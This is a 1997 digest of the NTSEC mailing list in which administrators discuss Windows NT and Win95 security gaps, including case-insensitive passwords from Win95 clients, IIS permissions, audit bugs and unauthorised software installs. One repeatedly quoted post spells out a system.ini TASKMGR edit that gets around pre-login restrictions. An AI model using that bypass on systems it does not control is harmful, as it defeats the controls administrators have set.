>What kind of 'signature' is Win95 sending or is NT capable of 'asking' what
>the OS of the incomig machine is?
>
>With all of the known security holes in both NT & Win95, couldn't I use
>Win95(or some other OS) to gain access to parts of NT, because NT is
>compromising some of it's security(i.e case sensative passwords) because the
>other OS is incapable(on purpose?) of complying with NT's security?
>
>Sorry for the ramblings(and asking more than a couple of questions :-) ), but
>the above sounds like some possible ways of attacking NT or even bypassing
>security.
>
>Thanks to all for the great discussions on this list. I look forward to being
>blasted about any stupidity I may have asked(be gentle please) and any
>responses which may be helpful to me and all others on this list.
>
>Robert
>
>
>* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
>Robert P. MacDonald (rmacdonald@perrigo.com)
>Systems, Network & Security Analyst
>Perrigo Company, Allegan, Michigan
>
> 


Hej! Jag är på semester från 19/7 -- 17/8. Jag bevakar min E-post lite sporadiskt under denna period. 
 
Hi, I'm on summer leave between 19/7 -- 17/8. I will not be reading my e-mail on a regular basis during this period. 

Kontakta kontoret om det brådskar. 
Please contact our office if the matter is urgent. 


Hej då! / Thanks!

Jonas

---------------------------------------------------------------------------
Jonas Sultan Tel: +46 - 46 - 31 26 55
Martinsson IS FAX: +46 - 46 - 31 26 26
Bredgatan 10 Mob: +46 - 70 - 593 78 40
S-222 21 LUND E-mail: jonas.sultan@factum.se
SWEDEN 
Hello all,

I've been setting up some NT4 IIS Servers and was wondering what the
absolute minimum permissions are for the IUSR_blahh account.

I've made the IUSR_ account member of only the Domain Guests group. I've
blocked most of my HD + Registry from guest access, besides the InetPub/
and system32/inetsrv/ directory which both have only read access for Domain
Guests.
I've also installed Perl and made that directory readably by domain guests.

Now my question. What exactly needs to be Readably by Domain Guests for IIS
to successfully work (Not asking for passwords and so) in a safe way?

The whole server has admin full control, users read (and some write ;) and
guests read only, but this seems not sufficient.

Maybe someone knows of a FAQ or something where this is covered?

Thank you in advance.

Tommy.



.tommy@support.nl
.www.chiparus.org
.stop


Hej! Jag är på semester från 19/7 -- 17/8. Jag bevakar min E-post lite sporadiskt under denna period. 
 
Hi, I'm on summer leave between 19/7 -- 17/8. I will not be reading my e-mail on a regular basis during this period. 

Kontakta kontoret om det brådskar. 
Please contact our office if the matter is urgent. 


Hej då! / Thanks!

Jonas

---------------------------------------------------------------------------
Jonas Sultan Tel: +46 - 46 - 31 26 55
Martinsson IS FAX: +46 - 46 - 31 26 26
Bredgatan 10 Mob: +46 - 70 - 593 78 40
S-222 21 LUND E-mail: jonas.sultan@factum.se
SWEDEN 

Hej! Jag är på semester från 19/7 -- 17/8. Jag bevakar min E-post lite sporadiskt under denna period. 
 
Hi, I'm on summer leave between 19/7 -- 17/8. I will not be reading my e-mail on a regular basis during this period. 

Kontakta kontoret om det brådskar. 
Please contact our office if the matter is urgent. 


Hej då! / Thanks!

Jonas

---------------------------------------------------------------------------
Jonas Sultan Tel: +46 - 46 - 31 26 55
Martinsson IS FAX: +46 - 46 - 31 26 26
Bredgatan 10 Mob: +46 - 70 - 593 78 40
S-222 21 LUND E-mail: jonas.sultan@factum.se
SWEDEN 
On 17 Jul 97 at 15:23, Falk Schmal wrote:

> Our NTWST 4.0 (german, SP3) and NT Server 4.0 (german, SP1) does not
> audit the system shutdown (eventID: 513). I'm not sure, if this is a
> normal behavior. Can anyone reproduce this? Is this a bug or a
> configuration problem? 

It is an old and well known NT bug. M$ is unable to fix it.

> Our NTrigue-Server (3.51, SP3) does audit correctly.

NTrigue is not from M$ ;-)



Frank Heyne

Nobody is perfect - sorry for not beeing nobody.
http://rcswww.urz.tu-dresden.de/~fh/
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 02:25 19.07.97 +0000, Petar Nikolich wrote:
>And this damn well IS security related.
>
>Nice tools. Not looked but front page says
>some utilities and articles are missing.

There is quite a lot missing:

- - NT Defrag 
- - NT Export
- - Article about SMP scheduling
- - Inside NT Internals (how they do their work)
- - Source code for all Utilities except: NTRegMon, NTFileMon and Ctrl2Cap

It seems to me that I was pretty much right with my guess that Microsoft 
doesn't like people to reverse-engineer and criticize their OS. As far as 
I've reviewed the site ALL articles criticizing NT were removed, ALL source 
code relevant to people who are interested in doing this themselves was 
removed and ALL How-To's were removed. 

As Windows NT Magazine said it: "So is Microsoft practicing censorship, or
just protecting their assets?". That is the question ...


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM9MU+DMtLCX5yPzjEQJA/wCgpe7P7PUJIGYP4oW1TGP22pBTbr8An2dP
+oLa0fn+XtfYi7vQa5hmngxh
=7aLW
-----END PGP SIGNATURE-----

 \^o^o/
 ,^ ( ..)
---------------oOOo--| \ \--oOOo----------------------------
 '''' \ `^--^ ''''
Donald van de Weyer \ \ \
 ^--^
e-mail: donald@demag.rwth-aachen.de
talk: donald@daiquiri.demag.rwth-aachen.de
WWW: http://users.demag.rwth-aachen.de/donald/
PGP: send a mail with subject: "get public key"
 PGP 5.0 mail preferred

 .oo0O O0oo.
 ( ) ( )
------------------\ (-----) /---------------------------------
 \_)___(_/
 ^\ |___|
 \ `^^^__ /
 `------/
-----BEGIN PGP SIGNED MESSAGE-----

Can someone please take:

Jonas Sultan [jonas.sultan@factum.se]

off that list, I don't want to find an out off
office reply for every mail posted to this list
for weeks.

Thank you very much in advance,

Robert
- -------------------------------------------------
 robert.zippel@bertelsmann.de
 Bertelsmann mediaSystems GmbH
 Phone: +49 5241 801609 / Fax: +49 5241 806640


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9MgBZK1dXs3GbDdAQFdRgP+KN+5XVxEWJs8YAujThJjOKduNttsDv6i
I+NCKbOniFR0ThL1OwdQ3+YmOvaS81ZVenbP1ZihuYHkoh30Nnh2Lzkm6SCVHt0M
oJfxIqLc30N1RqXLzOwyaSuuvPOL62Gvti2t//Zq7vrNdFavXPAaU52GxcwspJTQ
vooLF4doPrc=
=wGTH
-----END PGP SIGNATURE-----
Hi,

I am the network administrator of a 80 user NT4 network.
All the workstations are running a win95 client.

We have e security problem that is to do with restricting access to task
manager.

We restricted access to it, in order to prevent un authorised programmes
to be run before login, however, we found a bug.

Basically, any user can load up word and edit the system.ini (even
though the local drives have been hidden from explorer) simply by typing
the path and filename in the filename box. This means that they can
replace the 
TASKMGR=
line with 
TASKMGR=C:\windows\taskmgr
before login, when no restriction policies are active, they can hit CTRL
ESC, and run regedit, command.com or whatever you like.

Can anyone suggest a way around this... Is there a way to prevent users
from running ANYTHING before they login, or is there a way to allow
editing of win.ini only through setup programmes? (i.e. so users can't
change it themselves)

Any help would be appreciated.
Misha
-----BEGIN PGP SIGNED MESSAGE-----

The problem is, that with M$ products, especially SMB aka CIFS, what is
actually done depends upon client AND server. This is complicated further
by the fact, that SMB is quite an old protocol, which is backward
compatible . Without claiming accureness, SMB supports:
- - a Share-mode (one share, one password), a User-mode put on top of this
 (btw: it seems that NT doesn't log actually the USER LOGON requests,
 even bad ones, it logs the tree connects (SHARE CONNECTS) thereafter,
 )
- - Modes for password transmission ranging from clear text passwords to
 crypted challenge/response systems (which again seem easily be cracked,
 as L0ptcrack or so seems to demonstrate: The docs talk explitly about
 sniffing.)
- - 8.3, long filenames.

Now while the flexibility of the system is great for backwards compability
(which is important for the marketdroids :( ), this is less fun from the
security standpoint: This makes the security of a modern M$ LAN breakable
with the same methods that where applicable a decade ago.

Additionally M$ seemed not to crasp normal security policies, as has been
shown with answers about the ..\ bug, which could be exploited with
smbclient (so samba is at fault, because the server has a security bug?)

NT SP3 has an additional registry key that forbids sending cleartext
passwords, but which may break Win95, SaMBa, ... servers :(

Andreas Kostyrka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9NbylGrPWwMHrE1AQF/iwgAt7QH8pYK9PLbLmAIIub+R4UHVaJe+R0x
rHAy6fjmspSZUi5YyzujNvIpuZ6F4UQF03yRtJ4O059/L8ZzBumce+XHAzR27sdc
VNmXYvHiE9mRR9prHmB19ghOUHQ5dcJfISn7DXPzS7uY+pHZFvsjs0xJiNXQm+k/
IGgmvTWzqthi5EkDCyrQNfqyR+OXsQ9bQ7oHt+euJxR0x2y7L3WxJrLtk5vJs/fi
Zi/eYgKWv9h6EVt4XG+ufehWfUsjZ36qL/KXW61TefWBUhO6irLbNDeTrOqvY+pL
Za8EfrAmcTe7IfrimdEi/77HdQM1jUHXNACUwI21RtbUjE6EB9ZKaA==
=3yTy
-----END PGP SIGNATURE-----
This is probably a subject that has been discussed some time ago, so
please bear with us newcomers!

In the last week or so, support staff on site at my work have found that
some of the users have been able to install a cellulure phone messaging
application despite the fact that they only have user rights on the
local workstations and shouldn't have been able to carry out the
installation.
At first I thought it was a case of the getadmin code being used to find
out the admin password and was beggining to wander when the next plague
of Afterdark screen savers and Duke Nuke Em would arrive on site PC's,
however, a closer look at the problem showed that the program is a 16
bit Windows application and as such installs by using *.ini files rather
than editing the registry. Does this have any bearing on the user
permissions?

I'm assuming that I'm not the first admin. to have come accross this
situation where users are installing unauthorised software on NT
workstations. 
I could edit the system policy to only allow certain applications to be
run, but with the big variety of software on site this could be awkward
and time consuming.
Has anyone got any other ideas on how to restrict the users installing
their own apps?

All ideas are welcome, thanks


Paul Burtwistle
MIS Motorola 
Easter Inch
Bathgate
Article Q98724 in the May 97 Technet mentioned that the password is only
case sensitive if BOTH the workstation you're logged on to and the
server the resources are residing are NT.

So, if you log on to an NT domain using Win95 or Workgroup, the password
is not case sensitive (though I myself always assumed that they should
be case sensitive in this case, but obviously this assumption is wrong
!) And if you sign on to the PDC or a server (not necessarily a BDC),
it is case sensitive.

I've tried this out myself and verified the above to be the case.


Henry Lim Chee Wee wrote:

> You know, I was about to reply to the same thing when I remember
> something....I can logon to WindowsNT 3.51 PDC with my password
> typed in UPPER-CASE and LOWER-CASE using a Windows95 client.
> When it is not documented, I believe that somehow along the validation
>
> process, something is done or not done.
>
> To reconfirm my hazy memories:
> I tried logon to a known WindowsNT3.51 PDC with which I have
> lowercase password access as a normal user. For 10 times, I logon
> successful with either uppercase, lowercases or a mixture of both.
>
> With that evidence, I walked over to the same NT server and logon
> using the same account and password again. No luck this time,
> password is case-sensitive. I did not confirm using a NT workstation
> logon, don't have one handy around.
>
> I guess the key-issue of this post is that you can key in either
> uppercase or lowercase versions of your password to logon
> to a NT machine USING A WINDOWS95 CLIENT.
>
> But then again, I am never overly confident when it comes to WindowsNT
>
> problem, so, can someone verify this again?
>
> -------------------------------------------
> ------------------------------------------------------------
> Henry Lim Office: Techpoint
> Systems Engineer, Projects PTSC Tel: (65)
> 4865259
>
>
> Disclaimer: All my opinions are my own and could arise from lack of
> sleep.
> So give me your most gracious forgiveness.
> All flames > ../devices/pseduo/mm@0:null
> ----------------------------------------------------------
> ---------------------------------------------
>
> -----Original Message-----
> From: Joshua Soliz [SMTP:jsoliz@dpai.com]
> Sent: 20 July 1997 21:05
> To: 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Denying Win95 Machines from accessing NT.
>
> Im not sure how your workstation is setup, but when you log on to a NT
>
> domain, the passwd is ALWAYS case sensitive... (or at least I have
> never
> been able to bypass it) The username I believe is not however.
>
> -jjs
>
> >-----Original Message-----
> >From: Robert P. MacDonald [SMTP:RMACDONALD@perrigo.com]
> >Sent: Sunday, July 20, 1997 11:59 AM
> >To: ntsecurity@iss.net
> >Subject: [NTSEC] Denying Win95 Machines from accessing NT.
> >
> >I'm new to the security environment, and have a couple of questions
> regarding
> >Windows95 and security( yeah, I know.;-) )
> >
> >Under NT, I setup a user with a case sensitive password, and noticed
> that NT
> >does not care about that case sensitive part, when logging in from a
> 95
> >station. Wouldn't this reduce the number of tries I would have to
> make, in
> >order to 'guess' a password?
> >
> >NT must know that I'm coming from a Win95 station, so couldn't you
> watch for
> >this and block access? Is it possible to 'watch' for NT only
> stations, and
> >deny all others? Or even variations of this?(UNIX, SAMBA, etc.)
> >
> >What kind of 'signature' is Win95 sending or is NT capable of
> 'asking' what
> >the OS of the incomig machine is?
> >
> >With all of the known security holes in both NT & Win95, couldn't I
> use
> >Win95(or some other OS) to gain access to parts of NT, because NT is
> >compromising some of it's security(i.e case sensative passwords)
> because the
> >other OS is incapable(on purpose?) of complying with NT's security?
> >
> >Sorry for the ramblings(and asking more than a couple of questions
> :-) ), but
> >the above sounds like some possible ways of attacking NT or even
> bypassing
> >security.
> >
> >Thanks to all for the great discussions on this list. I look forward
> to being
> >blasted about any stupidity I may have asked(be gentle please) and
> any
> >responses which may be helpful to me and all others on this list.
> >
> >Robert
> >
> >
> >* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
> >Robert P. MacDonald (rmacdonald@perrigo.com)
> >Systems, Network & Security Analyst
> >Perrigo Company, Allegan, Michigan
> >
> >

I have been reviewing the Security Log and have found that a user known as "Anonymous" has logged onto one of our NT Servers. This users is also trying to logon to a particular account, which in return locks out the current users. Can someone tell me more about the users known as "Anonymous".

Thanks!

When running a query against the MS-Index Server using the anonymous
account (IUSR_COMPUTERNAME), users are requested to enter a user ID and a
password. I am looking for a way to skip this username/password
requirement and not sure whether it is the form or not that is causing my
problem. Here are some facts about the situation.

1. The IUSR_COMPUTERNAME account has sufficient rights to the files and
directories being queried.
2. I am using the sample "Index Server Sample Query Form" included in the
Index Server/IIS product out of the box.
3. Allow anonymous is enabled.
4. If you enter a legitimate NT account with proper rights you get to run
the query, with the exception of the IUSR_* account which has the proper
rights anyway...

Any ideas? Has anyone else had this problem?


Hi!
Well, in Windows 95, there's no chance to make something safe without
any special tools. There are tools for encryption... but they wouldn't
help you, because the INI-Files are unusable if they are encrypted.
Well,I'm sorry to tell you that there's no way to deny the access to the
files (if there were a tool for Win95, the user just had to boot the PC
with DOS and edit the files...). If I were you, I would update the
client's to NT and reformat the HD's to NTFS. Then, you can set
restrictions for the users and they just can use any files if they are
allowed to (and of course, then they can just use the ressources,
they're connectec to).
If you have any more questions, fell free to contact me.
BEN

-------------------------------------------------------
| "I'd like to buy OS/2." |
| "Oh, have you already finished playing Windows 95?" |
-------------------------------------------------------

Misha Gopaul wrote:

> Hi,
>
> I am the network administrator of a 80 user NT4 network.
> All the workstations are running a win95 client.
>
> We have e security problem that is to do with restricting access to
> task
> manager.
>
> We restricted access to it, in order to prevent un authorised
> programmes
> to be run before login, however, we found a bug.
>
> Basically, any user can load up word and edit the system.ini (even
> though the local drives have been hidden from explorer) simply by
> typing
> the path and filename in the filename box. This means that they can
> replace the
> TASKMGR=
> line with
> TASKMGR=C:\windows\taskmgr
> before login, when no restriction policies are active, they can hit
> CTRL
> ESC, and run regedit, command.com or whatever you like.
>
> Can anyone suggest a way around this... Is there a way to prevent
> users
> from running ANYTHING before they login, or is there a way to allow
> editing of win.ini only through setup programmes? (i.e. so users can't
>
> change it themselves)
>
> Any help would be appreciated.
> Misha






The NTCrash utility is also missing. It is obvious that the common theme
of the missing files are the files that show NT is not a "perfect" 
operating system. Any OS has flaws. Instead of spending their energy
just fixing the flaws, Microsoft chooses to spend its considerable
resources convincing its users that the flaws don't exist.

The NT admin community and especially the NT security community should be
outraged if Microsoft put any pressure on www.ntinternals.com to edit
their site. We will probably never know what happened however.

The people doing NT security research will get their message out if they
have to do it in person. An example of this is Mudge from the l0pht
giving an unscripted live demo of sniffing the network and cracking a user
logging into an NT server at the Black Hat Briefings. I think the 1000
security professionals present got the message. 

Facts are facts. They can be demonstrated. Removing utilities and
quelching dissenting voices only slows down the progress of creating a
secure and robust operating system.

-wled 



On Mon, 21 Jul 1997, Donald van de Weyer wrote:

> There is quite a lot missing:
> 
> - - NT Defrag 
> - - NT Export
> - - Article about SMP scheduling
> - - Inside NT Internals (how they do their work)
> - - Source code for all Utilities except: NTRegMon, NTFileMon and Ctrl2Cap
> 
> It seems to me that I was pretty much right with my guess that Microsoft 
> doesn't like people to reverse-engineer and criticize their OS. As far as 
> I've reviewed the site ALL articles criticizing NT were removed, ALL source 
> code relevant to people who are interested in doing this themselves was 
> removed and ALL How-To's were removed. 
> 
> As Windows NT Magazine said it: "So is Microsoft practicing censorship, or
> just protecting their assets?". That is the question ...


 Weld Pond - weld@l0pht.com - http://www.l0pht.com/~weld
 L 0 p h t H e a v y I n d u s t r i e s
 Technical archives for the people - Bio/Electro/Crypto/Radio


we recevied the following error from System Log in Event Viewer
----------------------------------------
Date: 7/20/97
Time: 11:58:37AM
User: N/A
Computer: DATASERVER
Event ID: 9011
Source: Nbf
Type: Information
Category: None

Description:
Nbf received an unexpected FRMR packet from a remote computer. 

Data:
0000: ff ff 18 00 03 00 64 00 =FF=FF....d.
0008: 00 00 00 00 33 23 00 40 ....3#.@
0010: 01 00 00 00 3e 01 00 c0 ....>..A
0018: ff ff ff ff 00 00 00 00 =FF=FF=FF=FF....
0020: 00 00 00 00 00 00 00 00 ........
0028: 02 00 00 00 40 00 00 00 ....@...
0030: 0e 00 00 00 20 08 0c 00 ........
0038: 02 06 06 01 01 00 07 01 ........
--------------------------------
What is Nbf??? Can anyone explain what is happening??

We are running in NT3.51
At 12:45 7/17/97 -0700, Paul Leach wrote:
>

>If you care about security, your DCs should be in locked rooms, so the
>attacked shouldn't be able to get at it to run getAdmin.

Not only that, but IIRC, only server ops, account ops, and admins are
allowed to log in locally on a server in the first place. The server ops
don't need getadmin anyway - there are other holes they can use - and they
should be fairly well trusted to begin with.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Just what does the following string means :

" The Semaphore time out has expired "

Encountered while trying to copy a file from

d:\archives\ntsp\sp3\> copy nt4sp3_i.exe d:\ 


Hardware : DELL PowerEdge 6100 Dual P II 266 MHZ, NT 4 SP3 

Regards
CJ

At 21:05 7/17/97 +0300, Costin RAIU wrote:
>I think I know the purpose of the new WIN32K.SYS and NTOS files, but I
>can't find
>the purpose of the new USER32.DLL file. Ideeas, anyone ?

Maybe this time they did the right thing and went looking for other calls
that have the same problem so they could fix it BEFORE you found it?

It would be nice...

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 10:59 7/21/97 +0100, Misha Gopaul wrote:
>Basically, any user can load up word and edit the system.ini (even
>though the local drives have been hidden from explorer) simply by typing
>the path and filename in the filename box. This means that they can
>replace the 
>TASKMGR=
>line with 
>TASKMGR=C:\windows\taskmgr
>before login, when no restriction policies are active, they can hit CTRL
>ESC, and run regedit, command.com or whatever you like.
 
>Can anyone suggest a way around this... Is there a way to prevent users
>from running ANYTHING before they login, or is there a way to allow
>editing of win.ini only through setup programmes? (i.e. so users can't
>change it themselves)

No. It is completely hopeless - if you can stop them there, they can just
boot it into DOS compatability mode, and go at it from the command line.
The best you can do is to discourage them and hope they are fairly docile,
well-behaved end-users (perhaps too much to hope for, but...). If you are
really concerned about security, you're going to have to use NT clients.
Even so, you will have some problems, since Office 97 (for example) has some
idea that it should write all over the hard drive. Personally, I have found
that using NT as a client substantially reduces support costs, since the end
user has to be much more determined to screw things up, and it is FAR less
likely to just lock up completely and lose work.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

If you figure out how they did this, let us know. I have an application
that I love to be able to install without Admin privledges, but I
suspect if its related to 16 bit installs, I am out of luck.

What messaging application was it?



Paul Burtwistle wrote:
> 
> This is probably a subject that has been discussed some time ago, so
> please bear with us newcomers!
> 
> In the last week or so, support staff on site at my work have found that
> some of the users have been able to install a cellulure phone messaging
> application despite the fact that they only have user rights on the
> local workstations and shouldn't have been able to carry out the
> installation.
> At first I thought it was a case of the getadmin code being used to find
> out the admin password and was beggining to wander when the next plague
> of Afterdark screen savers and Duke Nuke Em would arrive on site PC's,
> however, a closer look at the problem showed that the program is a 16
> bit Windows application and as such installs by using *.ini files rather
> than editing the registry. Does this have any bearing on the user
> permissions?
> 
> I'm assuming that I'm not the first admin. to have come accross this
> situation where users are installing unauthorised software on NT
> workstations.
> I could edit the system policy to only allow certain applications to be
> run, but with the big variety of software on site this could be awkward
> and time consuming.
> Has anyone got any other ideas on how to restrict the users installing
> their own apps?
> 
> All ideas are welcome, thanks
> 
> Paul Burtwistle
> MIS Motorola
> Easter Inch
> Bathgate
Well, since you didn't quote the article
in question, I have no idea which article
you're talking about, especially
when they have such meaningful 
subject lines.

 Ryan

---------- Previous Message ----------
To: Ryan.Russell
cc: ntsecurity
From: simmonmt@cs.purdue.edu (Matt Simmons) @ smtp
Date: 07/18/97 08:45:31 PM
Subject: Re: [NTSEC] Re: ntsecurity-digest V2 #588

Why does everybody insist on quoting the entire ~1000 line digest when
following up to this thread? I counted about 33k of useless quoted
material Ryan Russell's response. Paul Leach, Jose Palacio, and Tom
Schipper have done the same. We'll conservatively estimate 30k of
useless material in each post, for a total of 120k of nothing.
Multiply that by the my guess at the number of subscribers: 1485 (see [1])
and you end up with over 174M. Does this seem excessive to anyone?

Matt

Footnotes: 
[1] The following command was applied on a directory containing 3232
 ntsecurity messages, with the first one in mid-April. Granted,
 this only counts posters, but it serves to establish a lower
 bound.

 grep '^From:' Mail/ntsecurity/* |sort - |uniq |wc -l

-- 
The difference between a bug and | 
a feature is documentation. | Matt Simmons
 -- Ben Duncan | simmonmt@acm.org
 bend@ali.intop.net |




If I remember correctly, isn't it a requirement for C2 that you be able
to audit system shutdown?

If so, then how did Microsoft get C2 certified?

Alva, am I correct in believing that shutdown logging is required for
C2?

Phil

> -----Original Message-----
> From: Frank Heyne [SMTP:fh@Rcs1.urz.tu-dresden.de]
> Sent: Monday, July 21, 1997 1:17 AM
> To: Falk Schmal; ntsecurity@iss.net
> Subject: Re: [NTSEC] Problem with Event-ID 513
> 
> On 17 Jul 97 at 15:23, Falk Schmal wrote:
> 
> > Our NTWST 4.0 (german, SP3) and NT Server 4.0 (german, SP1) does not
> > audit the system shutdown (eventID: 513). I'm not sure, if this is a
> > normal behavior. Can anyone reproduce this? Is this a bug or a
> > configuration problem? 
> 
> It is an old and well known NT bug. M$ is unable to fix it.
> 
> > Our NTrigue-Server (3.51, SP3) does audit correctly.
> 
> NTrigue is not from M$ ;-)
> 
> 
> 
> Frank Heyne
> 
> Nobody is perfect - sorry for not beeing nobody.
> http://rcswww.urz.tu-dresden.de/~fh/
Quoting Misha Gopaul (f1ash@dial.pipex.com):
> I am the network administrator of a 80 user NT4 network.
> All the workstations are running a win95 client.
> 
> We have e security problem that is to do with restricting access to task
> manager.
>
> Can anyone suggest a way around this... Is there a way to prevent users
> from running ANYTHING before they login, or is there a way to allow
> editing of win.ini only through setup programmes? (i.e. so users can't
> change it themselves)

Rename task manager to something completely different. Or even delete it
from the workstations.

--
David G. Risner -- Assistant Director of IMS
Southwestern University School of Law, Los Angeles, CA
Business:drisner@swlaw.edu Personal:drisner@wenet.net
Home Page: http://www.wenet.net/~drisner/
> I could edit the system policy to only allow certain applications to be
> run, but with the big variety of software on site this could be awkward
> and time consuming.

This system policy restriction is easily gotten 'round by users. The ACL
on executables is the best protection against people running programs
they should not use. (A user who cannot execute a program should not be
given "R" lest they make a copy and use it instead.)

More to your point, I don't know of any way to effectively prevent users
from installing apps on a machine on which they are allowed to create
files. Even if you restrict "create" permissions in HKLM, the app may
only need to create items in HKCU, and it's usually imparctical to
prevent the user from creating items in HKCU.
-- 
STEVE SUTTON, President TRUSTED SYSTEMS Services, Inc.
 Phone: (217) 344-0996 1107 S. Orchard Street
 FAX: (217) 344-0901 Urbana, IL 61801-4851 USA
 E-mail: SSutton@TrustedSystems.com 
 WWW: http://www.TrustedSystems.com/
At 11:59 7/21/97 -0000, Paul Burtwistle wrote:

>however, a closer look at the problem showed that the program is a 16
>bit Windows application and as such installs by using *.ini files rather
>than editing the registry. Does this have any bearing on the user
>permissions?
 
Actually, given the fact that nearly all apps vendors (including Microsoft -
Office 97 is notably a problem) think that it is perfectly OK for an app to
require the right to create files in the SYSTEM tree, there really isn't
much way to shut this down. If they would THINK about this for just a
moment, they have to get the paths from _somewhere_ - no reason that can't
be configurable.

I find all of this _extremely_ annoying, and really wish the apps vendors
would get a clue about security. However, given that it is probably
unreasonable to expect updates that behave properly from a security
standpoint any time very soon, there may be some work-arounds.

First of all, we can audit writes into the system directory. If a file
isn't supposed to be there, we can dump the logs to text, do some massaging,
and delete the new files. Another strategy would be to see if Office writes
the same files all the time, and make sure they exist and are writable. If
that is the case (i.e., they don't create uniquely named files in the system
directory), you could pre-create the files it wants, and now you can deny
write access at the directory level.

IMHO, after install an app should NEVER write directly into the system
directories, or its own directory. If it does need to write somewhere, it
should be configurable so that we can keep users from trampling on one
another and maintain some semblance of workstation security.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Hello NTSEC guru's

 My question is about disabling ports. I want to limit the ports on my WWW server machine.
 I went into control panels->network->protocols->tcp/ip->properties->IP Address->advanced
 and enabled security

then I started to deliminate which ports can recieve what protocols
here I came across 2 questions which the NT Sever Bible (IDG Books) could not supply answers for

1) What is up with the third column? What is it used for
 The first column is either diable all ports for TCP or which Ports to enable TCP on
 here I entered ports with my servers bound to them, 80, 8080, 443, etc
 The second column is similar to the first except the protocol is UPD
 The third column is IP Protocols, which I expected to be able to enter letters into 
 - ie the names of the protocols
 but it wants digits between 0-9 and numbers between 0-255

 Does anyone know what I am taling about? What values should get filled in there?
 Is there a table somewhere giving each protocol a number to be used with NT 4.0

2) My second question is: If I only let TCP und UPD come into port 80, and I have a 
 webvserver bound to port 80, can the webserver still redirect the connection to 
 another port, therby allowing someone else to come in via port 80?

 I was under the impression, that limiting TCP to only port 80, meant, that only 
 incomming TCP/IP would be accepted at port 80, but that then NT could move the 
 already established connection to any other port it wanted to. Is this the way it works??
 
 
---------------------------------------------------------------------------------------------------------------------------------------
GREGORY A EISENBERG
greg@ycs.net NT Administrator and Web Developer YCS Internet Commerce
 a division of 
 Yamatech Scientific Ltd.


PS 
 Is there an archive of this list serve around?? I guess I should address this to D. LeBlanc
:)
PEACE


----------
From: Austin Gresham[SMTP:agresha@ix.netcom.com]
Sent: Friday, July 18, 1997 4:53 PM
To: 'NTSecurity ListServe'
Subject: [NTSEC] FW: Disabling ports

The only problem with this statement is that there is no "Deny All" option... only Permit All and Permit Only...

-----Original Message-----
From: Alan Thew [SMTP:Alan.Thew@liverpool.ac.uk]
Sent: Wednesday, July 16, 1997 4:27 PM
To: gregg_david
Cc: webserver-nt@DELTA.PROCESS.COM
Subject: Re: Disabling ports

You can either 
1) permit all and then selected which ones you want disabled
2) Deny all and select what you want enabled.

--
Alan Thew alan.thew@liverpool.ac.uk
Computing Services,University of Liverpool Fax: +44 151 794-4442

On Wed, 16 Jul 1997, gregg_david wrote:

> 
> How do I disable selected ports on NT4.0?
> 
> The only way I have found is via the advanced properties for 
> tcpip,enable security, which disables ALL ports. You then must enable 
> every port you want open. I dont want to do it this way!
> 
> 
> Any ideas?
> 
> 






> ----------
> From: Vinci CHOU[SMTP:vkmchou@HK.Super.NET]
> Reply To: Vinci CHOU
> Sent: Monday, July 21, 1997 4:16 AM
> To: 'ntsecurity@iss.net'
> Subject: Re: [NTSEC] Denying Win95 Machines from accessing NT.
> 
> Article Q98724 in the May 97 Technet mentioned that the password is
> only
> case sensitive if BOTH the workstation you're logged on to and the
> server the resources are residing are NT.
> 
This is correct.

Paul
We should get one fundamental security principal straight:

Systems to which the user (attacker) has physical access _can not_ be
secured. This is true of all systems, Windows and non-Windows. It can be
made difficult, and beyond the capacity of "normal" users, but there can
be no guarantee.

You _can_ secure a network so that compromise of a workstation on the
network will not allow access to resources on non-compromised systems
over the net.

> ----------
> From: Benjamin Weissman[SMTP:root@weissman.de]
> Reply To: Benjamin Weissman
> Sent: Monday, July 21, 1997 6:38 AM
> To: Misha Gopaul
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] Win95 sec
> 
> Hi!
> Well, in Windows 95, there's no chance to make something safe without
> any special tools. There are tools for encryption... but they wouldn't
> help you, because the INI-Files are unusable if they are encrypted.
> Well,I'm sorry to tell you that there's no way to deny the access to
> the
> files (if there were a tool for Win95, the user just had to boot the
> PC
> with DOS and edit the files...). If I were you, I would update the
> client's to NT and reformat the HD's to NTFS. Then, you can set
> restrictions for the users and they just can use any files if they are
> allowed to (and of course, then they can just use the ressources,
> they're connectec to).
> If you have any more questions, fell free to contact me.
> BEN
> 
> -------------------------------------------------------
> | "I'd like to buy OS/2." |
> | "Oh, have you already finished playing Windows 95?" |
> -------------------------------------------------------
> 
> Misha Gopaul wrote:
> 
> > Hi,
> >
> > I am the network administrator of a 80 user NT4 network.
> > All the workstations are running a win95 client.
> >
> > We have e security problem that is to do with restricting access to
> > task
> > manager.
> >
> > We restricted access to it, in order to prevent un authorised
> > programmes
> > to be run before login, however, we found a bug.
> >
> > Basically, any user can load up word and edit the system.ini (even
> > though the local drives have been hidden from explorer) simply by
> > typing
> > the path and filename in the filename box. This means that they can
> > replace the
> > TASKMGR=
> > line with
> > TASKMGR=C:\windows\taskmgr
> > before login, when no restriction policies are active, they can hit
> > CTRL
> > ESC, and run regedit, command.com or whatever you like.
> >
> > Can anyone suggest a way around this... Is there a way to prevent
> > users
